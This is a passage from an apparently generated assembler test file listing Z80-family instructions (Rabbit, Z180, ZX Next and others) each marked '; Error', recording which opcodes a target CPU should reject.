ioi rlc (iy) ; Error
ioi rlc (iy+127) ; Error
ioi rlc (iy-128) ; Error
ioi rr (hl) ; Error
ioi rr (ix) ; Error
ioi rr (ix+127) ; Error
ioi rr (ix-128) ; Error
ioi rr (iy) ; Error
ioi rr (iy+127) ; Error
ioi rr (iy-128) ; Error
ioi rrc (hl) ; Error
ioi rrc (ix) ; Error
ioi rrc (ix+127) ; Error
ioi rrc (ix-128) ; Error
ioi rrc (iy) ; Error
ioi rrc (iy+127) ; Error
ioi rrc (iy-128) ; Error
ioi sbc (hl) ; Error
ioi sbc (ix) ; Error
ioi sbc (ix+127) ; Error
ioi sbc (ix-128) ; Error
ioi sbc (iy) ; Error
ioi sbc (iy+127) ; Error
ioi sbc (iy-128) ; Error
ioi sbc a', (hl) ; Error
ioi sbc a', (ix) ; Error
ioi sbc a', (ix+127) ; Error
ioi sbc a', (ix-128) ; Error
ioi sbc a', (iy) ; Error
ioi sbc a', (iy+127) ; Error
ioi sbc a', (iy-128) ; Error
ioi sbc a, (hl) ; Error
ioi sbc a, (ix) ; Error
ioi sbc a, (ix+127) ; Error
ioi sbc a, (ix-128) ; Error
ioi sbc a, (iy) ; Error
ioi sbc a, (iy+127) ; Error
ioi sbc a, (iy-128) ; Error
ioi set -1, (hl) ; Error
ioi set -1, (hl) ; Error
ioi set -1, (ix) ; Error
ioi set -1, (ix) ; Error
ioi set -1, (ix+127) ; Error
ioi set -1, (ix+127) ; Error
ioi set -1, (ix-128) ; Error
ioi set -1, (ix-128) ; Error
ioi set -1, (iy) ; Error
ioi set -1, (iy) ; Error
ioi set -1, (iy+127) ; Error
ioi set -1, (iy+127) ; Error
ioi set -1, (iy-128) ; Error
ioi set -1, (iy-128) ; Error
ioi set 0, (hl) ; Error
ioi set 0, (ix) ; Error
ioi set 0, (ix+127) ; Error
ioi set 0, (ix-128) ; Error
ioi set 0, (iy) ; Error
ioi set 0, (iy+127) ; Error
ioi set 0, (iy-128) ; Error
ioi set 1, (hl) ; Error
ioi set 1, (ix) ; Error
ioi set 1, (ix+127) ; Error
ioi set 1, (ix-128) ; Error
ioi set 1, (iy) ; Error
ioi set 1, (iy+127) ; Error
ioi set 1, (iy-128) ; Error
ioi set 2, (hl) ; Error
ioi set 2, (ix) ; Error
ioi set 2, (ix+127) ; Error
ioi set 2, (ix-128) ; Error
ioi set 2, (iy) ; Error
ioi set 2, (iy+127) ; Error
ioi set 2, (iy-128) ; Error
ioi set 3, (hl) ; Error
ioi set 3, (ix) ; Error
ioi set 3, (ix+127) ; Error
ioi set 3, (ix-128) ; Error
ioi set 3, (iy) ; Error
ioi set 3, (iy+127) ; Error
ioi set 3, (iy-128) ; Error
ioi set 4, (hl) ; Error
ioi set 4, (ix) ; Error
ioi set 4, (ix+127) ; Error
ioi set 4, (ix-128) ; Error
ioi set 4, (iy) ; Error
ioi set 4, (iy+127) ; Error
ioi set 4, (iy-128) ; Error
ioi set 5, (hl) ; Error
ioi set 5, (ix) ; Error
ioi set 5, (ix+127) ; Error
ioi set 5, (ix-128) ; Error
ioi set 5, (iy) ; Error
ioi set 5, (iy+127) ; Error
ioi set 5, (iy-128) ; Error
ioi set 6, (hl) ; Error
ioi set 6, (ix) ; Error
ioi set 6, (ix+127) ; Error
ioi set 6, (ix-128) ; Error
ioi set 6, (iy) ; Error
ioi set 6, (iy+127) ; Error
ioi set 6, (iy-128) ; Error
ioi set 7, (hl) ; Error
ioi set 7, (ix) ; Error
ioi set 7, (ix+127) ; Error
ioi set 7, (ix-128) ; Error
ioi set 7, (iy) ; Error
ioi set 7, (iy+127) ; Error
ioi set 7, (iy-128) ; Error
ioi set 8, (hl) ; Error
ioi set 8, (hl) ; Error
ioi set 8, (ix) ; Error
ioi set 8, (ix) ; Error
ioi set 8, (ix+127) ; Error
ioi set 8, (ix+127) ; Error
ioi set 8, (ix-128) ; Error
ioi set 8, (ix-128) ; Error
ioi set 8, (iy) ; Error
ioi set 8, (iy) ; Error
ioi set 8, (iy+127) ; Error
ioi set 8, (iy+127) ; Error
ioi set 8, (iy-128) ; Error
ioi set 8, (iy-128) ; Error
ioi set.a -1, (hl) ; Error
ioi set.a -1, (hl) ; Error
ioi set.a -1, (ix) ; Error
ioi set.a -1, (ix) ; Error
ioi set.a -1, (ix+127) ; Error
ioi set.a -1, (ix+127) ; Error
ioi set.a -1, (ix-128) ; Error
ioi set.a -1, (ix-128) ; Error
ioi set.a -1, (iy) ; Error
ioi set.a -1, (iy) ; Error
ioi set.a -1, (iy+127) ; Error
ioi set.a -1, (iy+127) ; Error
ioi set.a -1, (iy-128) ; Error
ioi set.a -1, (iy-128) ; Error
ioi set.a 0, (hl) ; Error
ioi set.a 0, (ix) ; Error
ioi set.a 0, (ix+127) ; Error
ioi set.a 0, (ix-128) ; Error
ioi set.a 0, (iy) ; Error
ioi set.a 0, (iy+127) ; Error
ioi set.a 0, (iy-128) ; Error
ioi set.a 1, (hl) ; Error
ioi set.a 1, (ix) ; Error
ioi set.a 1, (ix+127) ; Error
ioi set.a 1, (ix-128) ; Error
ioi set.a 1, (iy) ; Error
ioi set.a 1, (iy+127) ; Error
ioi set.a 1, (iy-128) ; Error
ioi set.a 2, (hl) ; Error
ioi set.a 2, (ix) ; Error
ioi set.a 2, (ix+127) ; Error
ioi set.a 2, (ix-128) ; Error
ioi set.a 2, (iy) ; Error
ioi set.a 2, (iy+127) ; Error
ioi set.a 2, (iy-128) ; Error
ioi set.a 3, (hl) ; Error
ioi set.a 3, (ix) ; Error
ioi set.a 3, (ix+127) ; Error
ioi set.a 3, (ix-128) ; Error
ioi set.a 3, (iy) ; Error
ioi set.a 3, (iy+127) ; Error
ioi set.a 3, (iy-128) ; Error
ioi set.a 4, (hl) ; Error
ioi set.a 4, (ix) ; Error
ioi set.a 4, (ix+127) ; Error
ioi set.a 4, (ix-128) ; Error
ioi set.a 4, (iy) ; Error
ioi set.a 4, (iy+127) ; Error
ioi set.a 4, (iy-128) ; Error
ioi set.a 5, (hl) ; Error
ioi set.a 5, (ix) ; Error
ioi set.a 5, (ix+127) ; Error
ioi set.a 5, (ix-128) ; Error
ioi set.a 5, (iy) ; Error
ioi set.a 5, (iy+127) ; Error
ioi set.a 5, (iy-128) ; Error
ioi set.a 6, (hl) ; Error
ioi set.a 6, (ix) ; Error
ioi set.a 6, (ix+127) ; Error
ioi set.a 6, (ix-128) ; Error
ioi set.a 6, (iy) ; Error
ioi set.a 6, (iy+127) ; Error
ioi set.a 6, (iy-128) ; Error
ioi set.a 7, (hl) ; Error
ioi set.a 7, (ix) ; Error
ioi set.a 7, (ix+127) ; Error
ioi set.a 7, (ix-128) ; Error
ioi set.a 7, (iy) ; Error
ioi set.a 7, (iy+127) ; Error
ioi set.a 7, (iy-128) ; Error
ioi set.a 8, (hl) ; Error
ioi set.a 8, (hl) ; Error
ioi set.a 8, (ix) ; Error
ioi set.a 8, (ix) ; Error
ioi set.a 8, (ix+127) ; Error
ioi set.a 8, (ix+127) ; Error
ioi set.a 8, (ix-128) ; Error
ioi set.a 8, (ix-128) ; Error
ioi set.a 8, (iy) ; Error
ioi set.a 8, (iy) ; Error
ioi set.a 8, (iy+127) ; Error
ioi set.a 8, (iy+127) ; Error
ioi set.a 8, (iy-128) ; Error
ioi set.a 8, (iy-128) ; Error
ioi sla (hl) ; Error
ioi sla (ix) ; Error
ioi sla (ix+127) ; Error
ioi sla (ix-128) ; Error
ioi sla (iy) ; Error
ioi sla (iy+127) ; Error
ioi sla (iy-128) ; Error
ioi sra (hl) ; Error
ioi sra (ix) ; Error
ioi sra (ix+127) ; Error
ioi sra (ix-128) ; Error
ioi sra (iy) ; Error
ioi sra (iy+127) ; Error
ioi sra (iy-128) ; Error
ioi srl (hl) ; Error
ioi srl (ix) ; Error
ioi srl (ix+127) ; Error
ioi srl (ix-128) ; Error
ioi srl (iy) ; Error
ioi srl (iy+127) ; Error
ioi srl (iy-128) ; Error
ioi sub (hl) ; Error
ioi sub (ix) ; Error
ioi sub (ix+127) ; Error
ioi sub (ix-128) ; Error
ioi sub (iy) ; Error
ioi sub (iy+127) ; Error
ioi sub (iy-128) ; Error
ioi sub a', (hl) ; Error
ioi sub a', (ix) ; Error
ioi sub a', (ix+127) ; Error
ioi sub a', (ix-128) ; Error
ioi sub a', (iy) ; Error
ioi sub a', (iy+127) ; Error
ioi sub a', (iy-128) ; Error
ioi sub a, (hl) ; Error
ioi sub a, (ix) ; Error
ioi sub a, (ix+127) ; Error
ioi sub a, (ix-128) ; Error
ioi sub a, (iy) ; Error
ioi sub a, (iy+127) ; Error
ioi sub a, (iy-128) ; Error
ioi xor (hl) ; Error
ioi xor (ix) ; Error
ioi xor (ix+127) ; Error
ioi xor (ix-128) ; Error
ioi xor (iy) ; Error
ioi xor (iy+127) ; Error
ioi xor (iy-128) ; Error
ioi xor a', (hl) ; Error
ioi xor a', (ix) ; Error
ioi xor a', (ix+127) ; Error
ioi xor a', (ix-128) ; Error
ioi xor a', (iy) ; Error
ioi xor a', (iy+127) ; Error
ioi xor a', (iy-128) ; Error
ioi xor a, (hl) ; Error
ioi xor a, (ix) ; Error
ioi xor a, (ix+127) ; Error
ioi xor a, (ix-128) ; Error
ioi xor a, (iy) ; Error
ioi xor a, (iy+127) ; Error
ioi xor a, (iy-128) ; Error
ipres ; Error
ipset -1 ; Error
ipset -1 ; Error
ipset 0 ; Error
ipset 1 ; Error
ipset 2 ; Error
ipset 3 ; Error
ipset 4 ; Error
ipset 4 ; Error
jk -32768 ; Error
jk 32767 ; Error
jk 65535 ; Error
jlo -32768 ; Error
jlo 32767 ; Error
jlo 65535 ; Error
jlz -32768 ; Error
jlz 32767 ; Error
jlz 65535 ; Error
jm -32768 ; Error
jm 32767 ; Error
jm 65535 ; Error
jnk -32768 ; Error
jnk 32767 ; Error
jnk 65535 ; Error
jnv -32768 ; Error
jnv 32767 ; Error
jnv 65535 ; Error
jnx5 -32768 ; Error
jnx5 32767 ; Error
jnx5 65535 ; Error
jp (c) ; Error
jp (ix) ; Error
jp (iy) ; Error
jp lo, -32768 ; Error
jp lo, 32767 ; Error
jp lo, 65535 ; Error
jp lz, -32768 ; Error
jp lz, 32767 ; Error
jp lz, 65535 ; Error
jp m, -32768 ; Error
jp m, 32767 ; Error
jp m, 65535 ; Error
jp nv, -32768 ; Error
jp nv, 32767 ; Error
jp nv, 65535 ; Error
jp p, -32768 ; Error
jp p, 32767 ; Error
jp p, 65535 ; Error
jp pe, -32768 ; Error
jp pe, 32767 ; Error
jp pe, 65535 ; Error
jp po, -32768 ; Error
jp po, 32767 ; Error
jp po, 65535 ; Error
jp v, -32768 ; Error
jp v, 32767 ; Error
jp v, 65535 ; Error
jpe -32768 ; Error
jpe 32767 ; Error
jpe 65535 ; Error
jpo -32768 ; Error
jpo 32767 ; Error
jpo 65535 ; Error
jv -32768 ; Error
jv 32767 ; Error
jv 65535 ; Error
jx5 -32768 ; Error
jx5 32767 ; Error
jx5 65535 ; Error
ld (-32768), bc ; Error
ld (-32768), de ; Error
ld (-32768), hl ; Error
ld (-32768), ix ; Error
ld (-32768), iy ; Error
ld (32767), bc ; Error
ld (32767), de ; Error
ld (32767), hl ; Error
ld (32767), ix ; Error
ld (32767), iy ; Error
ld (65535), bc ; Error
ld (65535), de ; Error
ld (65535), hl ; Error
ld (65535), ix ; Error
ld (65535), iy ; Error
ld (de), hl ; Error
ld (hl), hl ; Error
ld (hl+127), hl ; Error
ld (hl-128), hl ; Error
ld (ix), -128 ; Error
ld (ix), 127 ; Error
ld (ix), 255 ; Error
ld (ix), a ; Error
ld (ix), b ; Error
ld (ix), c ; Error
ld (ix), d ; Error
ld (ix), e ; Error
ld (ix), h ; Error
ld (ix), hl ; Error
ld (ix), l ; Error
ld (ix+127), -128 ; Error
ld (ix+127), 127 ; Error
ld (ix+127), 255 ; Error
ld (ix+127), a ; Error
ld (ix+127), b ; Error
ld (ix+127), c ; Error
ld (ix+127), d ; Error
ld (ix+127), e ; Error
ld (ix+127), h ; Error
ld (ix+127), hl ; Error
ld (ix+127), l ; Error
ld (ix-128), -128 ; Error
ld (ix-128), 127 ; Error
ld (ix-128), 255 ; Error
ld (ix-128), a ; Error
ld (ix-128), b ; Error
ld (ix-128), c ; Error
ld (ix-128), d ; Error
ld (ix-128), e ; Error
ld (ix-128), h ; Error
ld (ix-128), hl ; Error
ld (ix-128), l ; Error
ld (iy), -128 ; Error
ld (iy), 127 ; Error
ld (iy), 255 ; Error
ld (iy), a ; Error
ld (iy), b ; Error
ld (iy), c ; Error
ld (iy), d ; Error
ld (iy), e ; Error
ld (iy), h ; Error
ld (iy), hl ; Error
ld (iy), l ; Error
ld (iy+127), -128 ; Error
ld (iy+127), 127 ; Error
ld (iy+127), 255 ; Error
ld (iy+127), a ; Error
ld (iy+127), b ; Error
ld (iy+127), c ; Error
ld (iy+127), d ; Error
ld (iy+127), e ; Error
ld (iy+127), h ; Error
ld (iy+127), hl ; Error
ld (iy+127), l ; Error
ld (iy-128), -128 ; Error
ld (iy-128), 127 ; Error
ld (iy-128), 255 ; Error
ld (iy-128), a ; Error
ld (iy-128), b ; Error
ld (iy-128), c ; Error
ld (iy-128), d ; Error
ld (iy-128), e ; Error
ld (iy-128), h ; Error
ld (iy-128), hl ; Error
ld (iy-128), l ; Error
ld (sp), hl ; Error
ld (sp), ix ; Error
ld (sp), iy ; Error
ld (sp+0), hl ; Error
ld (sp+0), ix ; Error
ld (sp+0), iy ; Error
ld (sp+255), hl ; Error
ld (sp+255), ix ; Error
ld (sp+255), iy ; Error
ld a', (-32768) ; Error
ld a', (32767) ; Error
ld a', (65535) ; Error
ld a', (bc) ; Error
ld a', (bc+) ; Error
ld a', (bc-) ; Error
ld a', (de) ; Error
ld a', (de+) ; Error
ld a', (de-) ; Error
ld a', (hl) ; Error
ld a', (hl+) ; Error
ld a', (hl-) ; Error
ld a', (hld) ; Error
ld a', (hli) ; Error
ld a', (ix) ; Error
ld a', (ix+127) ; Error
ld a', (ix-128) ; Error
ld a', (iy) ; Error
ld a', (iy+127) ; Error
ld a', (iy-128) ; Error
ld a', -128 ; Error
ld a', 127 ; Error
ld a', 255 ; Error
ld a', a ; Error
ld a', b ; Error
ld a', c ; Error
ld a', d ; Error
ld a', e ; Error
ld a', eir ; Error
ld a', h ; Error
ld a', iir ; Error
ld a', l ; Error
ld a', xpc ; Error
ld a, (ix) ; Error
ld a, (ix+127) ; Error
ld a, (ix-128) ; Error
ld a, (iy) ; Error
ld a, (iy+127) ; Error
ld a, (iy-128) ; Error
ld a, eir ; Error
ld a, i ; Error
ld a, iir ; Error
ld a, ixh ; Error
ld a, ixl ; Error
ld a, iyh ; Error
ld a, iyl ; Error
ld a, r ; Error
ld a, xpc ; Error
ld b', (hl) ; Error
ld b', (ix) ; Error
ld b', (ix+127) ; Error
ld b', (ix-128) ; Error
ld b', (iy) ; Error
ld b', (iy+127) ; Error
ld b', (iy-128) ; Error
ld b', -128 ; Error
ld b', 127 ; Error
ld b', 255 ; Error
ld b', a ; Error
ld b', b ; Error
ld b', c ; Error
ld b', d ; Error
ld b', e ; Error
ld b', h ; Error
ld b', l ; Error
ld b, (ix) ; Error
ld b, (ix+127) ; Error
ld b, (ix-128) ; Error
ld b, (iy) ; Error
ld b, (iy+127) ; Error
ld b, (iy-128) ; Error
ld b, ixh ; Error
ld b, ixl ; Error
ld b, iyh ; Error
ld b, iyl ; Error
ld bc', (-32768) ; Error
ld bc', (32767) ; Error
ld bc', (65535) ; Error
ld bc', -32768 ; Error
ld bc', 32767 ; Error
ld bc', 65535 ; Error
ld bc', bc ; Error
ld bc', de ; Error
ld bc, (-32768) ; Error
ld bc, (32767) ; Error
ld bc, (65535) ; Error
ld bc, ix ; Error
ld bc, iy ; Error
ld c', (hl) ; Error
ld c', (ix) ; Error
ld c', (ix+127) ; Error
ld c', (ix-128) ; Error
ld c', (iy) ; Error
ld c', (iy+127) ; Error
ld c', (iy-128) ; Error
ld c', -128 ; Error
ld c', 127 ; Error
ld c', 255 ; Error
ld c', a ; Error
ld c', b ; Error
ld c', c ; Error
ld c', d ; Error
ld c', e ; Error
ld c', h ; Error
ld c', l ; Error
ld c, (ix) ; Error
ld c, (ix+127) ; Error
ld c, (ix-128) ; Error
ld c, (iy) ; Error
ld c, (iy+127) ; Error
ld c, (iy-128) ; Error
ld c, ixh ; Error
ld c, ixl ; Error
ld c, iyh ; Error
ld c, iyl ; Error
ld d', (hl) ; Error
ld d', (ix) ; Error
ld d', (ix+127) ; Error
ld d', (ix-128) ; Error
ld d', (iy) ; Error
ld d', (iy+127) ; Error
ld d', (iy-128) ; Error
ld d', -128 ; Error
ld d', 127 ; Error
ld d', 255 ; Error
ld d', a ; Error
ld d', b ; Error
ld d', c ; Error
ld d', d ; Error
ld d', e ; Error
ld d', h ; Error
ld d', l ; Error
ld d, (ix) ; Error
ld d, (ix+127) ; Error
ld d, (ix-128) ; Error
ld d, (iy) ; Error
ld d, (iy+127) ; Error
ld d, (iy-128) ; Error
ld d, ixh ; Error
ld d, ixl ; Error
ld d, iyh ; Error
ld d, iyl ; Error
ld de', (-32768) ; Error
ld de', (32767) ; Error
ld de', (65535) ; Error
ld de', -32768 ; Error
ld de', 32767 ; Error
ld de', 65535 ; Error
ld de', bc ; Error
ld de', de ; Error
ld de, (-32768) ; Error
ld de, (32767) ; Error
ld de, (65535) ; Error
ld de, hl+0 ; Error
ld de, hl+255 ; Error
ld de, ix ; Error
ld de, iy ; Error
ld e', (hl) ; Error
ld e', (ix) ; Error
ld e', (ix+127) ; Error
ld e', (ix-128) ; Error
ld e', (iy) ; Error
ld e', (iy+127) ; Error
ld e', (iy-128) ; Error
ld e', -128 ; Error
ld e', 127 ; Error
ld e', 255 ; Error
ld e', a ; Error
ld e', b ; Error
ld e', c ; Error
ld e', d ; Error
ld e', e ; Error
ld e', h ; Error
ld e', l ; Error
ld e, (ix) ; Error
ld e, (ix+127) ; Error
ld e, (ix-128) ; Error
ld e, (iy) ; Error
ld e, (iy+127) ; Error
ld e, (iy-128) ; Error
ld e, ixh ; Error
ld e, ixl ; Error
ld e, iyh ; Error
ld e, iyl ; Error
ld eir, a ; Error
ld h', (hl) ; Error
ld h', (ix) ; Error
ld h', (ix+127) ; Error
ld h', (ix-128) ; Error
ld h', (iy) ; Error
ld h', (iy+127) ; Error
ld h', (iy-128) ; Error
ld h', -128 ; Error
ld h', 127 ; Error
ld h', 255 ; Error
ld h', a ; Error
ld h', b ; Error
ld h', c ; Error
ld h', d ; Error
ld h', e ; Error
ld h', h ; Error
ld h', l ; Error
ld h, (ix) ; Error
ld h, (ix+127) ; Error
ld h, (ix-128) ; Error
ld h, (iy) ; Error
ld h, (iy+127) ; Error
ld h, (iy-128) ; Error
ld hl', (-32768) ; Error
ld hl', (32767) ; Error
ld hl', (65535) ; Error
ld hl', (hl) ; Error
ld hl', (hl+127) ; Error
ld hl', (hl-128) ; Error
ld hl', (ix) ; Error
ld hl', (ix+127) ; Error
ld hl', (ix-128) ; Error
ld hl', (iy) ; Error
ld hl', (iy+127) ; Error
ld hl', (iy-128) ; Error
ld hl', (sp) ; Error
ld hl', (sp+0) ; Error
ld hl', (sp+255) ; Error
ld hl', -32768 ; Error
ld hl', 32767 ; Error
ld hl', 65535 ; Error
ld hl', bc ; Error
ld hl', de ; Error
ld hl', ix ; Error
ld hl', iy ; Error
ld hl, (-32768) ; Error
ld hl, (32767) ; Error
ld hl, (65535) ; Error
ld hl, (de) ; Error
ld hl, (hl) ; Error
ld hl, (hl+127) ; Error
ld hl, (hl-128) ; Error
ld hl, (ix) ; Error
ld hl, (ix+127) ; Error
ld hl, (ix-128) ; Error
ld hl, (iy) ; Error
ld hl, (iy+127) ; Error
ld hl, (iy-128) ; Error
ld hl, (sp) ; Error
ld hl, (sp+0) ; Error
ld hl, (sp+255) ; Error
ld hl, ix ; Error
ld hl, iy ; Error
ld i, a ; Error
ld iir, a ; Error
ld ix, (-32768) ; Error
ld ix, (32767) ; Error
ld ix, (65535) ; Error
ld ix, (sp) ; Error
ld ix, (sp+0) ; Error
ld ix, (sp+255) ; Error
ld ix, bc ; Error
ld ix, de ; Error
ld ix, hl ; Error
ld ix, iy ; Error
ld ixh, -128 ; Error
ld ixh, 127 ; Error
ld ixh, 255 ; Error
ld ixh, a ; Error
ld ixh, b ; Error
ld ixh, c ; Error
ld ixh, d ; Error
ld ixh, e ; Error
ld ixh, ixh ; Error
ld ixh, ixl ; Error
ld ixl, -128 ; Error
ld ixl, 127 ; Error
ld ixl, 255 ; Error
ld ixl, a ; Error
ld ixl, b ; Error
ld ixl, c ; Error
ld ixl, d ; Error
ld ixl, e ; Error
ld ixl, ixh ; Error
ld ixl, ixl ; Error
ld iy, (-32768) ; Error
ld iy, (32767) ; Error
ld iy, (65535) ; Error
ld iy, (sp) ; Error
ld iy, (sp+0) ; Error
ld iy, (sp+255) ; Error
ld iy, bc ; Error
ld iy, de ; Error
ld iy, hl ; Error
ld iy, ix ; Error
ld iyh, -128 ; Error
ld iyh, 127 ; Error
ld iyh, 255 ; Error
ld iyh, a ; Error
ld iyh, b ; Error
ld iyh, c ; Error
ld iyh, d ; Error
ld iyh, e ; Error
ld iyh, iyh ; Error
ld iyh, iyl ; Error
ld iyl, -128 ; Error
ld iyl, 127 ; Error
ld iyl, 255 ; Error
ld iyl, a ; Error
ld iyl, b ; Error
ld iyl, c ; Error
ld iyl, d ; Error
ld iyl, e ; Error
ld iyl, iyh ; Error
ld iyl, iyl ; Error
ld l', (hl) ; Error
ld l', (ix) ; Error
ld l', (ix+127) ; Error
ld l', (ix-128) ; Error
ld l', (iy) ; Error
ld l', (iy+127) ; Error
ld l', (iy-128) ; Error
ld l', -128 ; Error
ld l', 127 ; Error
ld l', 255 ; Error
ld l', a ; Error
ld l', b ; Error
ld l', c ; Error
ld l', d ; Error
ld l', e ; Error
ld l', h ; Error
ld l', l ; Error
ld l, (ix) ; Error
ld l, (ix+127) ; Error
ld l, (ix-128) ; Error
ld l, (iy) ; Error
ld l, (iy+127) ; Error
ld l, (iy-128) ; Error
ld r, a ; Error
ld sp, (-32768) ; Error
ld sp, (32767) ; Error
ld sp, (65535) ; Error
ld sp, ix ; Error
ld sp, iy ; Error
ld xpc, a ; Error
lddrx ; Error
lddsr ; Error
lddx ; Error
ldhi -128 ; Error
ldhi 127 ; Error
ldhi 255 ; Error
ldirx ; Error
ldisr ; Error
ldix ; Error
ldp (-32768), hl ; Error
ldp (-32768), ix ; Error
ldp (-32768), iy ; Error
ldp (32767), hl ; Error
ldp (32767), ix ; Error
ldp (32767), iy ; Error
ldp (65535), hl ; Error
ldp (65535), ix ; Error
ldp (65535), iy ; Error
ldp (hl), hl ; Error
ldp (ix), hl ; Error
ldp (iy), hl ; Error
ldp hl, (-32768) ; Error
ldp hl, (32767) ; Error
ldp hl, (65535) ; Error
ldp hl, (hl) ; Error
ldp hl, (ix) ; Error
ldp hl, (iy) ; Error
ldp ix, (-32768) ; Error
ldp ix, (32767) ; Error
ldp ix, (65535) ; Error
ldp iy, (-32768) ; Error
ldp iy, (32767) ; Error
ldp iy, (65535) ; Error
ldpirx ; Error
ldsi -128 ; Error
ldsi 127 ; Error
ldsi 255 ; Error
ldws ; Error
lhld -32768 ; Error
lhld 32767 ; Error
lhld 65535 ; Error
lhlde ; Error
lhlx ; Error
lsddr ; Error
lsdr ; Error
lsidr ; Error
lsir ; Error
mirror a ; Error
mlt bc ; Error
mlt de ; Error
mlt hl ; Error
mlt sp ; Error
mmu -1, -128 ; Error
mmu -1, -128 ; Error
mmu -1, 127 ; Error
mmu -1, 127 ; Error
mmu -1, 255 ; Error
mmu -1, 255 ; Error
mmu -1, a ; Error
mmu -1, a ; Error
mmu 0, -128 ; Error
mmu 0, 127 ; Error
mmu 0, 255 ; Error
mmu 0, a ; Error
mmu 1, -128 ; Error
mmu 1, 127 ; Error
mmu 1, 255 ; Error
mmu 1, a ; Error
mmu 2, -128 ; Error
mmu 2, 127 ; Error
mmu 2, 255 ; Error
mmu 2, a ; Error
mmu 3, -128 ; Error
mmu 3, 127 ; Error
mmu 3, 255 ; Error
mmu 3, a ; Error
mmu 4, -128 ; Error
mmu 4, 127 ; Error
mmu 4, 255 ; Error
mmu 4, a ; Error
mmu 5, -128 ; Error
mmu 5, 127 ; Error
mmu 5, 255 ; Error
mmu 5, a ; Error
mmu 6, -128 ; Error
mmu 6, 127 ; Error
mmu 6, 255 ; Error
mmu 6, a ; Error
mmu 7, -128 ; Error
mmu 7, 127 ; Error
mmu 7, 255 ; Error
mmu 7, a ; Error
mmu 8, -128 ; Error
mmu 8, -128 ; Error
mmu 8, 127 ; Error
mmu 8, 127 ; Error
mmu 8, 255 ; Error
mmu 8, 255 ; Error
mmu 8, a ; Error
mmu 8, a ; Error
mmu0 -128 ; Error
mmu0 127 ; Error
mmu0 255 ; Error
mmu0 a ; Error
mmu1 -128 ; Error
mmu1 127 ; Error
mmu1 255 ; Error
mmu1 a ; Error
mmu2 -128 ; Error
mmu2 127 ; Error
mmu2 255 ; Error
mmu2 a ; Error
mmu3 -128 ; Error
mmu3 127 ; Error
mmu3 255 ; Error
mmu3 a ; Error
mmu4 -128 ; Error
mmu4 127 ; Error
mmu4 255 ; Error
mmu4 a ; Error
mmu5 -128 ; Error
mmu5 127 ; Error
mmu5 255 ; Error
mmu5 a ; Error
mmu6 -128 ; Error
mmu6 127 ; Error
mmu6 255 ; Error
mmu6 a ; Error
mmu7 -128 ; Error
mmu7 127 ; Error
mmu7 255 ; Error
mmu7 a ; Error
mul ; Error
mul d, e ; Error
mul de ; Error
neg a' ; Error
nextreg -128, -128 ; Error
nextreg -128, a ; Error
nextreg 127, 127 ; Error
nextreg 127, a ; Error
nextreg 255, 255 ; Error
nextreg 255, a ; Error
or (ix) ; Error
or (ix+127) ; Error
or (ix-128) ; Error
or (iy) ; Error
or (iy+127) ; Error
or (iy-128) ; Error
or a', (hl) ; Error
or a', (ix) ; Error
or a', (ix+127) ; Error
or a', (ix-128) ; Error
or a', (iy) ; Error
or a', (iy+127) ; Error
or a', (iy-128) ; Error
or a', -128 ; Error
or a', 127 ; Error
or a', 255 ; Error
or a', a ; Error
or a', b ; Error
or a', c ; Error
or a', d ; Error
or a', e ; Error
or a', h ; Error
or a', l ; Error
or a, (ix) ; Error
or a, (ix+127) ; Error
or a, (ix-128) ; Error
or a, (iy) ; Error
or a, (iy+127) ; Error
or a, (iy-128) ; Error
or a, ixh ; Error
or a, ixl ; Error
or a, iyh ; Error
or a, iyl ; Error
or hl', de ; Error
or hl, de ; Error
or ix, de ; Error
or ixh ; Error
or ixl ; Error
or iy, de ; Error
or iyh ; Error
or iyl ; Error
otdm ; Error
otdmr ; Error
otdr ; Error
otim ; Error
otimr ; Error
otir ; Error
out (-128), a ; Error
out (127), a ; Error
out (255), a ; Error
out (c), -1 ; Error
out (c), -1 ; Error
out (c), 0 ; Error
out (c), 1 ; Error
out (c), 1 ; Error
out (c), a ; Error
out (c), b ; Error
out (c), c ; Error
out (c), d ; Error
out (c), e ; Error
out (c), h ; Error
out (c), l ; Error
out -128 ; Error
out 127 ; Error
out 255 ; Error
out0 (-128), a ; Error
out0 (-128), b ; Error
out0 (-128), c ; Error
out0 (-128), d ; Error
out0 (-128), e ; Error
out0 (-128), h ; Error
out0 (-128), l ; Error
out0 (127), a ; Error
out0 (127), b ; Error
out0 (127), c ; Error
out0 (127), d ; Error
out0 (127), e ; Error
out0 (127), h ; Error
out0 (127), l ; Error
out0 (255), a ; Error
out0 (255), b ; Error
out0 (255), c ; Error
out0 (255), d ; Error
out0 (255), e ; Error
out0 (255), h ; Error
out0 (255), l ; Error
outd ; Error
outi ; Error
outinb ; Error
ovrst8 ; Error
pixelad ; Error
pixeldn ; Error
pop af' ; Error
pop b' ; Error
pop bc' ; Error
pop d' ; Error
pop de' ; Error
pop h' ; Error
pop hl' ; Error
pop ip ; Error
pop ix ; Error
pop iy ; Error
pop su ; Error
push -32768 ; Error
push 32767 ; Error
push 65535 ; Error
push ip ; Error
push ix ; Error
push iy ; Error
push su ; Error
rdmode ; Error
res -1, (hl) ; Error
res -1, (hl) ; Error
res -1, (ix) ; Error
res -1, (ix) ; Error
res -1, (ix+127) ; Error
res -1, (ix+127) ; Error
res -1, (ix-128) ; Error
res -1, (ix-128) ; Error
res -1, (iy) ; Error
res -1, (iy) ; Error
res -1, (iy+127) ; Error
res -1, (iy+127) ; Error
res -1, (iy-128) ; Error
res -1, (iy-128) ; Error
res -1, a ; Error
res -1, a ; Error
res -1, a' ; Error
res -1, a' ; Error
res -1, b ; Error
res -1, b ; Error
res -1, b' ; Error
res -1, b' ; Error
res -1, c ; Error
res -1, c ; Error
res -1, c' ; Error
res -1, c' ; Error
res -1, d ; Error
res -1, d ; Error
res -1, d' ; Error
res -1, d' ; Error
res -1, e ; Error
res -1, e ; Error
res -1, e' ; Error
res -1, e' ; Error
res -1, h ; Error
res -1, h ; Error
res -1, h' ; Error
res -1, h' ; Error
res -1, l ; Error
res -1, l ; Error
res -1, l' ; Error
res -1, l' ; Error
res 0, (ix) ; Error
res 0, (ix+127) ; Error
res 0, (ix-128) ; Error
res 0, (iy) ; Error
res 0, (iy+127) ; Error
res 0, (iy-128) ; Error
res 0, a' ; Error
res 0, b' ; Error
res 0, c' ; Error
res 0, d' ; Error
res 0, e' ; Error
res 0, h' ; Error
res 0, l' ; Error
res 1, (ix) ; Error
res 1, (ix+127) ; Error
res 1, (ix-128) ; Error
res 1, (iy) ; Error
res 1, (iy+127) ; Error
res 1, (iy-128) ; Error
res 1, a' ; Error
res 1, b' ; Error
res 1, c' ; Error
res 1, d' ; Error
res 1, e' ; Error
res 1, h' ; Error
